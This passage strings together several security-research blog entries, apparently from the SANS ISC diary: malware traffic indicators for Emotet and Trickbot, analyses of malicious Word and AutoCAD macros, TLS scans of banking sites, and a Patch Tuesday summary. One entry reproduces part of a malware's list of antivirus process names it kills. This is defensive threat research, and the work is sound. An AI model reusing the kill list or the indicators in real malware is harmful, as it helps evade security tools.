• 157.7.106[.]97 port 80 - oki-dental[.]com - GET /sys/upydu-4nmmykhbf-292/
• 65.254.248[.]88 port 80 - blog.itsaboutnature[.]net - GET /confabulate-grainy/tad0m4bjt-li6lr-5546823/

Emotet post-infection HTTP traffic:

• 190.38.252[.]45 port 443 - 190.38.252[.]45:443 - POST /Zm3bDTIjDcE0VBqqFO
• 105.225.77[.]21 port 80 - 105.225.77[.]21 - POST /7rS6p32cGJz6yHNBUKW
• 181.167.35[.]84 port 80 - 181.167.35[.]84 - POST /Utmt2SR
• 164.68.115[.]146 port 8080 - 164.68.115[.]146:8080 - POST /dzbBGrkIdBkIqwPjf
• 5.189.148[.]98 port 8080 - 5.189.148[.]98:8080 - POST /DmiI74YHj
• 5.189.148[.]98 port 8080 - 5.189.148[.]98:8080 - POST /lmmBjn
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /lmmBjn
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /QIrnjidOBG
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /fsIL1F4aeW
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /Qb6Hb0ONYVQ2an
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /Cux8Ia00axEqkIhB2
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /lqcZ9GHhKIkoVPdb
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /xaMc6JN
• 64.207.176[.]141 port 8080 - 64.207.176[.]141:8080 - POST /VJ9ZrKRKSWYOwNrPCk
• 82.145.43[.]153 port 8080 - 82.145.43[.]153:8080 - POST /PKgFIQr2tR
• 149.202.153[.]251 port 8080 - 149.202.153[.]251:8080 - POST /iEo555d
• 149.202.153[.]251 port 8080 - 149.202.153[.]251:8080 - POST /1SxH7

Spambot traffic:

• Various IP addresses over various TCP ports - SMTP and encrypted SMTP traffic

Final words

A malspam example, a pcap of the infection traffic, and the associated malware can be found here.

--
Brad Duncan
brad [at] malware-traffic-analysis.net

Whenever I talk about DNS over HTTPS (DoH), the question comes up if it is possible to fingerprint DoH traffic without decrypting it. The idea is that something about DoH packets is different enough to identify them.

This evening after recording my podcast, I experimented a bit with this idea to see what could be used to identify DNS over HTTPS traffic. To run this experiment, I used Firefox. I used Firefox for  a couple of different reasons:

• I consider the Mozilla DoH implementation mature. Mozilla was one of the trailblazers for DoH and has made it very easy to enable DoH. I find Chrome to be a bit more "tricky" in that it is more careful in its use of DoH.
• Firefox, just like Chrome, allows me to collect TLS master keys via the SSLKEYLOGFILE environment variable. This allowed me to decrypt and separate the DoH from other HTTPS traffic

At this point, I would call the experiment a "proof of concept." It is not a conclusive experiment. I only collected a few minutes of traffic and went maybe to a dozen different sites. All tests were performed on a Mac using Firefox 71 and Cloudflare as a resolver. I may get around to do more testing during the day and will update this post accordingly.

I started by running tcpdump (otherwise I forget it and realize that I need to start it after I started Firefox)

% tcpdump -i en8 -w /tmp/ssl.pcap

Next, in a different terminal, I set the SSLKEYLOGFILE environment variable

% export SSLKEYLOGFILE=/tmp/sslkeylogfile

Finally, I started Firefox from the console in the same terminal, where I set the environment variable (so it sees the environment variable). Make sure Firefox isn't already running.

% open /Application/Firefox.app

Next, I went to a few random websites (Google, CNN, isc.sans.edu, sans.edu... ). After I ran out of sites to visit, I closed Firefox and exited tcpdump.

I loaded the packet capture file and the SSL Key Logfile in Wireshark. I used version 3.1.0, which fully supports DoH and HTTP2 (Firefox uses HTTP2 for DoH). I identified the DoH traffic using the simple display filter "dns and tls." The entire DoH traffic was confined to a single connection between my host and mozilla.cloudflare-dns.com (2606:4700::6810:f8f9). Could I have just identified the traffic using this hostname? Sure. In this specific case. But you can run your own DoH server and evade simple blocklists like this.

I filtered all traffic to and from that Cloudflare host. Next, I filtered all port 443 traffic that did not involve this IP to a second file and did some simple statistics. Aside from the session length, I found that the payload length for DoH is somewhat telling. DNS queries and responses are usually a couple of hundred bytes long. HTTPS connections, on the other hand, tend to "fill" the MTU. So there is a graph of the payload size-frequency for DoH and HTTPS:

TLS Without DoH	DoH Only

The 3 (4?) spikes in the DoH traffic could be due to the limited sample. But these are typical sizes for DNS payloads. Note how the DoH payload size "clusters" below 5-600 bytes, the legacy DNS reply limit. For the non-DOH traffic, the payload sizes peak close to the MTU (the MTU was 1500 Bytes here).

In short: if you see long-lasting TLS connections, with payloads that rarely exceed a kByte, you probably got a DoH connection. But I need to run more tests to verify that. Feel free to do your own experiments and see what you find. Of course, some of these artifacts may be implementation-specific. The RFC somewhat suggests the extended session length. But in other implementations (earlier Firefox versions?), I seem to remember shorter TLS sessions for DoH.

So please let me know what you find, and I will likely update this some time tomorrow if I find time to look at more traffic.

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

This weekend, I took a look at AutoCAD drawing files (.dwg) with embedded VBA macros.

When a .dwg file contains VBA macros, a Compound File Binary Format file (what I like to call an OLE file) is embedded inside the .dwg file. This OLE file contains the VBA macros. It's similar to .docm files, except that a .dwg file is not a ZIP container. More details on the file format can be found in my blog post "Analyzing .DWG Files With Embedded VBA Macros", but knowing these details is not a prerequisite to be able to perform an analysis as I show here.

I combine my tools cut-bytes.py and oledump.py to extract and analyze the embedded OLE file with macros:

This .dwg file that I was given contains indeed a VBA project, but it's an empty project, without actual code (remark indicator m for stream 3 and that stream 3 doesn't contain "real" VBA code, just the normal attributes).

I did some searching for .dwg files with real VBA code, and found the following sample:

This is clearly malicious: a CreateThread API declaration and a sequence of numbers (between 0-255). This is shellcode that is injected into the AutoCAD process.

I'm no longer an AutoCAD specialist (I used AutoCAD and AutoLISP a lot in the 90's), but as far as I know, subroutine names like Auto_Open, AutoOpen and Workbook_Open do not trigger automatic execution in AutoCAD. One needs to associate a subroutine with an AcadDocument event to trigger execution.

This drawing contains malicious code, but it will not execute automatically. This sample is probably a PoC or some kind of test.

The shellcode can be extracted and analyzed with numbers-to-string.py and the shellcode emulator scdbg:

With this IOC, I found other maldocs using the same IP address.

Like this sample, with exactly the same VBA source code (ignoring whitespace). This malicious Office document  was submitted to VT one month earlier than the malicious AutoCAD drawing. And if we can trust the medata data of the Office document, then it's almost 2 years old.

This leads me to believe that this malicious AutoCAD drawing I found could well be an experiment.

My search was far from exaustive, but I did not find other examples of AutoCAD drawings with embedded, malicious VBA code (remark that VBA is not the only way the achieve RCE with AutoCAD).

 

Like Office, AutoCAD will warn users when a document with embedded macros is opened:

And even better: since AutoCAD 2016, VBA is no longer included. It is an optional install (separate download and manual installation):

So if you use AutoCAD in your organisation, know that drawings with embedded, malicious VBA code seem to be rare (caveat: my search was far from exhaustive), and that with modern versions of AutoCAD, VBA no longer comes pre-installed.

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I think it's a good idea to highlight VirusTotal's Email Submission feature, as I recently had to point this out to a couple of people.

In stead of using the VirusTotal's web interface or API, one can also send an email to scan@virustotal.com with the file to be scanned in attach (don't exceed 32MB) and subject SCAN (requesting plaintext report) or SCAN+XML (requesting XML report).

I usually get a reply after a couple of minutes. If I don't get a reply, it usually means that my attachment was detected and blocked by the email server I'm using, and that it never reached VirusTotal.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

At the end of my diary entry "(Lazy) Sunday Maldoc Analysis", I wrote that there was something unusal about this document.

Let's take a look at the content of the file and compare that with the file size:

A rough estimate: the total size of the streams is 120 kB. While the file size is around 10 MB. That's a huge difference!

In such cases, I take a look with olemap:

Here I can see that there is extra data appended to the file (position 0x25400) and it's about 10 MB in size.

Extracting the appended data and calculating some statistics gives me:

This tells me there's about 10 MB of 0x00 bytes appended.

Was this done by the malware authors? Or did it happen later, during transmission or storage?

I don't know.

Maybe it was done to bypass scanning, for example when there is a size-limit for files to be scanned. Just speculating ...

Please post a comment if you have an idea.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Although SSLv3 has been considered obsolete and insecure for a long time, a large number of web servers still support its use. And even though the numbers are much lower, some servers on the web support SSLv2 to this day as well. And, as it turns out, this is true even when it comes to web servers hosting internet banking portals…

Tests of SSL/TLS configuration are usually conducted as a normal part of a vulnerability scan or penetration test of TLS-enabled servers. But even when done as a stand-alone activity, they can provide us with very interesting information, especially when the targets are highly-sensitive servers, such as the ones used to provide internet banking services. That is the reason why many people and organizations have published analyses and statistics of TLS configuration of banking sites over the years[1]. I’ve actually done so myself a couple of times[2]. Most, if not all of such analyses have however been limited in scope and covered only a specific country or region.

For a long time, I’ve wanted to try to do a similar analysis on a global scale and when a colleague of mine provided me with a list of nearly 1,500 unique internet banking sites from all around the world earlier this year, I couldn’t let the opportunity pass. Even though 1,459 unique internet banking domains might not sound like much, when one considers that there appear to be between 25,000 and 85,000 banks overall[3], and not all such institutions provide internet banking services, it is actually not a bad sample size.

Before we get to the analysis and its results, let’s take a short look at TLS.

At this point in time, SSL and TLS have been used to secure communication over untrusted networks for almost 25 years[4]. The protocols, as well as the cipher suits which they use, have evolved significantly over time in reaction to discovered vulnerabilities and weaknesses. This cycle has led us to the current state of affairs, when, according to the current best practices[5], it is advisable to use TLSv1.2 and TLSv1.3 only, unless there is a special reason to use/support an older version or the protocol. But even though TLSv1.0 and TLSv1.1 are now considered outdated and will probably stop being supported by browsers in the near future[6], these protocols still provide a significantly higher level of security then SSLv3 (which was itself a notable improvement over SSLv2).

A large number of tools can determine which protocols and cipher suites a server supports[7]. In this case, I’ve decided to use Nmap, since its scans are fairly quick and it has couple of scripts (ssl-enum-ciphers.nse and sslv2.nse), which can provide us with almost all the information we might want with regards to SSL/TLS. The only drawback is that SSL/TLS enumeration capabilities of Nmap currently lack support for TLSv1.3[8], which is the reason why you won’t find statistics for use of the latest version of TLS protocol mentioned bellow.

After deciding to use Nmap, I fed the list of internet banking domains to it and had it output the results to XML. The ssl-enum-ciphers script gives us – among other data – information about all the protocols and cipher suits used by a server and marks them on a scale A to F, based on the security they provide, using a slightly modified version of the SSL Server Rating Guide methodology[9,10]. Since this script can however only identify use of SSLv3, TLSv1.0, TLSv1.1 and TLSv1.2 and I wanted to identify SSLv2 support as well, I’ve used it in a tandem with the sslv2 script, which provides this functionality. Once the scan was done, I generated a CSV from the resulting XML using a quick-and-dirty Python tool I wrote for parsing outputs of both Nmap scripts and I delved into analyzing it.

Due to several servers being unreachable, broken DNS records and other error conditions, Nmap didn’t manage to get data for all domains from the original list, but for “only” 1375 domains from 143 TLDs. The information I was most interested in for each server was a list of supported protocols and a mark for the weakest cipher suite, along with data about vulnerabilities and weaknesses related to SSL/TLS which Nmap managed to identify (specifically SWEET32, POODLE and use of RC4).

Given how sensitive the communication sent to internet banking servers is, the results were quite surprising – one server was actually affected by POODLE, 4 servers managed to hit the worst mark (F) for the weakest supported cipher suite, more than 3% of the servers supported SSLv3 and almost 1% (11 servers) still even supported SSLv2. Since there hasn’t been a reason use SSLv3 for a long time (barring exceptional cases), one might not expect to find it – not to mention SSLv2 – supported on any web server that provides a service for which ensuring confidentiality of its network traffic is paramount…

As you may see, the results didn’t look especially good – they were notably worse than I would have expected for internet banking servers. I wasn’t sure, however, whether they were on average worse or better than results for any other high-profile sites. I therefore decided to look for a “baseline” I might be able to compare the results against. I ended up choosing the Top 1000 Sites from Alexa, as – although most of these are not as sensitive as the internet banking sites – they are high-profile enough so that we might expect that reasonable security standards are enforced on them.

Scan of the 1000 sites resulted in only 921 results from 78 TLDs. The reason was that some of the second-level domains which were present on the Alexa list didn’t have any DNS records set (i.e. cloudfront.net, twimg.com, etc.). As you may see bellow, in some areas the banking sites did better than our baseline, while in others they did worse. On average it seems that while the Alexa Top 1000 sites are all over the map when it comes to SSL/TLS configuration, it appears that while most banking sites are configured very well, a notable minority seems to be configured quite badly.

The following chart shows overall support for all protocols. It should be mentioned at this point, that although support for TLSv1.2 was generally quite high in both samples, only 23.7% of banking sites and 14.7% of Alexa sites supported only TLSv1.2 (and possibly TLSv1.3) and were therefore configured according to the current best practices.

When it comes to vulnerabilities, the internet banking servers seem to be better configured then the “Top 1000” sites (although even one vulnerable internet banking server would seem one too many). Almost half (49.19%) of the Alexa sites and almost one third (30.55%) of the internet banking servers were vulnerable to SWEET32, 7 banking sites (0.59%) were found to still support RC4 while there were 12 such sites (1.30%) on the Alexa list. On the same list were also 5 sites (0.54%) still affected by POODLE, while – as was mentioned above – there was “only” 1 such site (0.07%) among the internet banking servers.

While the most common SWEET32 vulnerability isn’t that bad, POODLE and the continued use of RC4 are definitely worrisome (for more information, see Bojan’s webcast at https://www.sans.org/webcasts/111400).

Although the above mentioned statistics definitely don’t give us the entirety of the situation and should not be taken out of context, they are quite unsettling. They seem to indicate that even when it comes to internet banking sites, security doesn’t always get the attention it should. This is especially well illustrated by the continued support of deprecated SSL protocols on several of the sites. Which – from a purely technical standpoint – is actually quite interesting, given that most browsers today have support for SSLv2 and SSLv3 turned off by default…

 

[1] https://www.scmagazineuk.com/uk-high-street-banks-accused-shockingly-bad-online-security/article/1477266
[2] https://www.systemonline.cz/clanky/ne-bezpecnost-internetoveho-bankovnictvi-v-cr.htm
[3] https://www.linkedin.com/pulse/how-many-banks-globally-david-gyori
[4] https://en.wikipedia.org/wiki/Secure_Sockets_Layer
[5] https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html
[6] https://www.thesslstore.com/blog/apple-microsoft-google-disable-tls-1-0-tls-1-1/
[7] https://isc.sans.edu/forums/diary/Verifying+SSLTLS+configuration+part+1/25162
[8] https://github.com/nmap/nmap/issues/1348
[9] https://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html
[10] https://github.com/ssllabs/research/wiki/SSL-Server-Rating-Guide

-----------
Jan Kopriva
@jk0pr
Alef Nula

In the past, I already had the opportunity to give some "security awareness" sessions to developers. One topic that was always debated is the reuse of existing code. Indeed, for a developer, it's tempting to not reinvent the wheel when somebody already wrote a piece of code that achieves the expected results. From a gain of time perspective, it's a win for the developers who can focus on other code. Of course, this can have side effects and introduce bugs, backdoors, etc... but it's not today's topic. Malware developers are also developers and have the same behavior. Code reuse has been already discussed several times[1]. For example, tools exist to detect cloned or reused code in the IDA disassembler[2][3].

A Trendmicro report demonstrated that different malware families (URSNIF, EMOTET, DRIDEX, and BitPaymer) have code similarities[4].

But, code or data reuse is present everywhere, even in simple macro languages. Yesterday, I found an interesting sample that contained a function to kill AV and other security products. To achieve this, the best approach is to have a list of potential process names, search for them and try to kill the process:

a2adguard.exe
a2adwizard.exe
a2antidialer.exe
a2cfg.exe
a2cmd.exe
a2free.exe
a2guard.exe
a2hijackfree.exe
a2scan.exe
a2service.exe
a2start.exe
a2sys.exe
a2upd.exe
aavgapi.exe
aawservice.exe
aawtray.exe
ad-aware.exe
ad-watch.exe
[...]

The complete list contained 233 items! On Twitter, one of my followers pointed me to a GitHub page that had a file containing exactly... 233 items! I searched for more references and found other ones which also contained the same list:

• Reverse Shell Backdoor framework[5]
• Dr0p1t framework[6]
• Metasploit[7]

Why malware developers should take time to compile their own list of interesting processes while such lists are already publicly available? If you have written some code or compiled data like those and published them somewhere (for any valid reason - nothing malicious), they're chances that they will be found and (ab)used by attackers in their code!  The best example is Mimikatz that has been (and is still) used in many attacks. This is valid not only for pieces of code but also for any "data". Keep this in mind!

[1] https://www.first.org/resources/papers/london2019/1630-Code-Reuse-Analysis-Holtzman-.pdf
[2] https://github.com/BinSigma/BinClone
[3] https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml
[4] https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
[5] https://github.com/tarcisio-marinho/RSB-Framework/blob/master/Python/victim/av.txt
[6] https://github.com/D4Vinci/Dr0p1t-Framework/blob/master/resources/killav.py
[7] https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/getcountermeasure.rb

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

On Tuesday 2019-12-10, artifacts found through VirusTotal reveal a wave of German language emails pushed Trickbot.  Today's diary reviews information from this specific channel of Trickbot distribution.

The malspam

I only found one example of the malicious spam (malspam) in VirusTotal as shown below.

Shown above:  An example of German malspam pushing Trickbot.

Shown above:  An example of the Word documents from this malspam.

Infection traffic

Infection traffic is typical for what I've seen with Trickbot for the past several months.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  HTTP traffic to retrieve a Windows executable for Trickbot.

Shown above:  Traffic from later during the infection, filtered in Wireshark.

Shown above:  HTTP traffic caused by Trickbot's password grabber module.

Forensics on an infected Windows host

See the images below covering artifacts found during forensics on a Windows host infected with this sample of Trickbot.

Shown above:  Artifacts dropped on a Windows host after enabling macros on the Word document.

Shown above:  Trickbot installed on an infected Windows host.

Shown above:  Scheduled task to keep Trickbot persistent on an infected Windows host.

Indicators of Compromise (IoC)

File names for 17 of the Word docs found on VirusTotal:

• diebewerbung391.doc
• diebewerbung393.doc
• diebewerbung423.doc
• diebewerbung447.doc
• diebewerbung457.doc
• diebewerbung467.doc
• diebewerbung469.doc
• diebewerbung487.doc
• Mietvertrag370.doc
• Mietvertrag404.doc
• Mietvertrag406.doc
• Mietvertrag416.doc
• Mietvertrag424.doc
• Mietvertrag440.doc
• Mietvertrag446.doc
• Mietvertrag454.doc
• Mietvertrag458.doc

SHA256 hashes for 17 of the Word docs found on VirusTotal:

• 01968f30b665f54b1b403dec93184cc75772c3727b96e32dd76926b90926115c
• 08852de6bdf8c609a9df42c985135cba2ac4e613295a9fbdcabc78717b39d345
• 19abd94a36f94f203a4c137d38c41d5affb9b6ca51440927644f64877d2d6fdd
• 3390b7f9d7addaa79a5e700525d3608bce841defece1abd746cc20aca31f29ce
• 342df0eea6961b16e84b7055f920932fa7b950a911a85cf622880dbf8c180abd
• 3c26a38189416085d386c4d4c2c930add1f318b9fe62215742fa0b4c89112365
• 4929295c2a0e668109ae6255e516f37348d183a9efc6c33a96a3f48d477be6a7
• 4bb2bce3c63454db676fcef2ac9faafdf088b78376877ed98de700d1ee9f25f9
• 5957871ecf9a5a0d1dc35f428ed012ed75749861ef50e2407190f5602601bedc
• 9c26146a6d922670975c68c67de89c39da10552f0bd12b1147f59d539092dcf8
• 9e5be910981c5521cc551b1e6a967e6e88a4b85540abd2cbf38698bcedee00a6
• a2542f5890994081acf477727b67defa06153383837bb23a6b5581d347f1459c
• d123dc5fa735b737e028598979f9e289dd1663f00041ddbc37bb9ba6ef02446f
• d3c83590df348811aacd3a92cb1282b1df29438be08723a5e6c98b1ed1fe78e2
• e544449c77868b62904184d7ea9f90abe4bff773f3f648f51e42ab4d3754bcd0
• e5b4f3760e0a2ae92dc0e946d473e4fa2c7d198712580ddb19ef1c18e8b99d11
• f3f1a36dbc2731fbb043941867988011f186b127745f7f6c27a7ad8319964b0c

SHA256 hashes for the downloaded Trickbot executable file:

• 138f012ce2a236be4d983f1b621efc5a968a6ea37927c49b37fe39e70bc80d29
• 817c7003b9f1d3b6b576422d5ff04ec9aa662d602b74b26a4fb03e6483d0ab6e

Infection traffic:

• 162.241.24[.]101 port 80 - www.tinystudiocollective[.]com - GET /meta/21.exe
• port 80 - ipecho[.]net - GET /plain
• port 443 - ipecho[.]net - HTTPS traffic
• 170.238.117[.]187 port 8082 - 170.238.117[.]187 - POST /mango21/[string of characters]

• 131.161.253[.]190 port 449 - HTTPS/SSL/TLS traffic caused by Trickbot
• 181.129.104[.]139 port 449 - HTTPS/SSL/TLS traffic caused by Trickbot
• 185.14.28[.]107 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
• 190.214.13[.]2 port 449 - HTTPS/SSL/TLS traffic caused by Trickbot
• 195.123.245[.]127 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot

• 23.202.231[.]166 port 448 - Attempted TCP connections, but no response from the server
• 23.217.138[.]107 port 448 - Attempted TCP connections, but no response from the server

Final words

Trickbot executable files are tagged with a marker that identifies the specific campaign used to distribute it.  The tag (usually referred to as "gtag") is shown in URLs generated by Trickbot's password grabber module, which caused HTTP traffic over TCP port 8082.  The gtag for this infection was mango21.

A pcap of the infection traffic, some associated malware, and an example of the malspam can be found here.

--
Brad Duncan
brad [at] malware-traffic-analysis.net

This month we got patches for 36 vulnerabilities total. From those, seven are rated critical and one is already being exploited according to Microsoft. 

The exploited vulnerability (CVE-2019-1458) may allow a local attacker to elevate privileges and run arbitrary code in kernel mode. This vulnerability was reported by Kaspersky Labs and, according to Zero Day Initiative  (ZDI) [1], Kaspersky also reported a UAF vulnerability in Google Chrome web browser [2] early November this year. When Chrome bug became public, there were speculations that it was being used in conjunction with a Windows Kernel bug to escape the sandbox. According to ZDI, while its not confirmed CVE-2019-1458 is connected to Chrome attacks, this is the type of bug that could be used to perform a sandbox escape. 

Amongst critical vulnerabilities, it worth mentioning CVE-2019-1471 a Windows Hyper-V Remote Code Execution Vulnerability. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

December 2019 Security Updates

December 2019 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
Git for Visual Studio Remote Code Execution Vulnerability
%%cve:2019-1349%%	N	N	-	-	Critical
%%cve:2019-1350%%	N	N	-	-	Critical
%%cve:2019-1352%%	N	N	-	-	Critical
%%cve:2019-1354%%	N	N	-	-	Critical
%%cve:2019-1387%%	N	N	-	-	Critical
Git for Visual Studio Tampering Vulnerability
%%cve:2019-1351%%	N	N	-	-	Moderate
Latest Servicing Stack Updates
ADV990001	N	N	-	-	Critical
Microsoft Access Information Disclosure Vulnerability
%%cve:2019-1400%%	N	N	-	-	Important
%%cve:2019-1463%%	N	N	-	-	Important
Microsoft Authentication Library for Android Information Disclosure Vulnerability
%%cve:2019-1487%%	N	N	-	-	Important
Microsoft Defender Security Feature Bypass Vulnerability
%%cve:2019-1488%%	N	N	-	-	Important	3.3	3.0
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-1464%%	N	N	-	-	Important
Microsoft Guidance for cleaning up orphaned keys generated on vulnerable TPMs and used for Windows Hello for Business
ADV190026	N	N	-	-	-
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2019-1462%%	N	N	-	-	Important
Microsoft SQL Server Reporting Services XSS Vulnerability
%%cve:2019-1332%%	N	N	-	-	Important
Microsoft Word Denial of Service Vulnerability
%%cve:2019-1461%%	N	N	Less Likely	Less Likely	Important
Remote Desktop Protocol Information Disclosure Vulnerability
%%cve:2019-1489%%	N	N	-	-	Important
Skype for Business Server Spoofing Vulnerability
%%cve:2019-1490%%	N	N	-	-	Important
VBScript Remote Code Execution Vulnerability
%%cve:2019-1485%%	N	N	-	-	Important	7.5	6.7
Visual Studio Live Share Spoofing Vulnerability
%%cve:2019-1486%%	N	N	-	-	Important
Win32k Elevation of Privilege Vulnerability
%%cve:2019-1458%%	Y	Y	-	-	Important	7.8	7.2
Win32k Graphics Remote Code Execution Vulnerability
%%cve:2019-1468%%	N	N	-	-	Critical	8.4	7.6
Win32k Information Disclosure Vulnerability
%%cve:2019-1469%%	N	N	-	-	Important	5.5	5.0
Windows COM Server Elevation of Privilege Vulnerability
%%cve:2019-1478%%	N	N	-	-	Important	7.8	7.0
Windows Elevation of Privilege Vulnerability
%%cve:2019-1476%%	N	N	-	-	Important	7.8	7.0
%%cve:2019-1483%%	N	N	-	-	Important	7.8	7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2019-1465%%	N	N	-	-	Important	5.5	5.0
%%cve:2019-1466%%	N	N	-	-	Important	5.5	5.0
%%cve:2019-1467%%	N	N	-	-	Important	5.5	5.0
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2019-1470%%	N	N	-	-	Important	6.0	5.4
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2019-1471%%	N	N	-	-	Critical	8.2	7.4
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-1472%%	N	N	-	-	Important	5.5	5.0
%%cve:2019-1474%%	N	N	-	-	Important	5.5	5.0
Windows Media Player Information Disclosure Vulnerability
%%cve:2019-1480%%	N	N	-	-	Important	5.5	5.0
%%cve:2019-1481%%	N	N	-	-	Important	5.5	5.0
Windows OLE Remote Code Execution Vulnerability
%%cve:2019-1484%%	N	N	-	-	Important	7.8	7.0
Windows Printer Service Elevation of Privilege Vulnerability
%%cve:2019-1477%%	N	N	-	-	Important	7.8	7.0
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability
%%cve:2019-1453%%	N	N	Less Likely	Less Likely	Important	7.5	6.7

 

[1] https://www.zerodayinitiative.com/blog/2019/12/10/the-december-2019-security-update-review

[2] https://www.kaspersky.com/blog/google-chrome-zeroday-wizardopium/29126/

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

I received another malicious Word document: with VBA macros and string obfuscation, launching a PowerShell downloader. As classic as they come.

The VBA code is not too long, and the obfuscation is not that hard. It makes a good example for static analysis.

I start the analysis with my tool oledump.py, this will give me an overview of the streams (including VBA macro streams) contained in the document:

Stream 8 has an M indicator: this stream contains VBA macros. Using option -s 8 to select stream 8, and option --vbadecompressskipattributes to decompress the VBA macros without showing the hidden attributes (usually I just use option -v, since I don't mind seeing the hidden attributes), I get to see the VBA code:

There's a Document_Open subroutine: this will be executed once the document is opened and the user has accepted the warning(s). It assigns a different number to three variables, and then calls function besb repeatedly with a number as argument.

These numbers are mostly different. Function besb takes the argument (a number), divides it by 23 and multiplies it with 1. Then it converts the obtained number to a character (chr function), and concatenates it into variable ahiv.
Finally, subroutine Document_Open executes (run) string ahiv.

With this information, I know that the numbers represent a command and that I can obtain that command by dividing each number by 23 and then converting it to a character. Typically, one would write a small custom script to do this, but as I often have to do such conversions, I made my own tool to help with this: numbers-to-string.py.

Numbers-to-string.py takes text as input, extracts the numbers it finds on each line (provided there are at least 3 numbers per line), transforms the numbers according to a given formula, and then converts them to a string.

I will use this to decode the command. First I select all VBA source code lines with function besb using grep. Since identifiers in VBA are not case-sensitive, I use option -i, just in case the malware author was not consistent in his case use for function name besb.

Next, I use numbers-to-string.py to process each number. Since by default, my tool expects 3 numbers per line, and here I have only one number per line, I use option -n 1 to have my tool process each line with 1 number or more.
Each number has to divided by 23: I use expression "n / 23" to achieve this. Here is the complete command:

When I read the characters from top to bottom, I see a command forming: powershell iex …

My final step is to use option -j to join all lines together:

Like I said: a classic example.

Yet, there is something unusual about this document. To be continued ...

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark version 3.0.7 was released.

It has a vulnerability fix and bug fixes.

The vulnerability in the CMS dissector can be abused to cause a crash: %%cve:2019-19553%%

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

I wanted to parse and ingest my Pi-hole DNS logs for a while now in Elasticsearch to be able to analyze them in various ways. I wrote four separate Grok parser for Logstash to send the logs to a ELK stack. I am now able to view and analyze which domains have been Sinkhole by gravity.list or regex.list (custom wildcard lists) and create the necessary dashboards to report on the DNS traffic. This is an example of the output in Discover. In this example, I have filtered out the dns_type: forwarded.

The configuration file can be downloaded here.

[1] https://pi-hole.net/
[2] https://handlers.sans.edu/gbruneau/elk/pihole.conf
[3] https://www.elastic.co/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Phishing e-mails which are used to steal credentials usually depend on user clicking a link which leads to a phishing website that looks like login page for some valid service. Not all credentials-stealing has to be done using a remote website, however.

I recently came across an interesting phishing campaign in which the scammers used a rather novel technique. The e-mail looked like a traditional payment notice phishing with a fairly usual text.

Good Day

Please find attached a copy of your payment notification

Kind Regards,
James Watson

The HTML attachment it carried, however, turned out to be anything but usual. When HTML attachments are used in a credentials-stealing phishing, the HTML code usually either redirects the browser to a fake login page, or it directly loads the fake login page from a source on the internet[1]. This HTML page turned out not to do either of those.

When I opened the 930 kB long file in a text editor, the only text visible at first glance was on the first line:

<!-- Internal Server Error -->

After it, there were 4735 empty lines followed by a lot of obfuscated JavaScript along with several legitimate and only Base64-encoded JavaScript libraries (e.g. jQuery, Bootstrap,…). Here is a small sample of the obfuscated JavaScript.

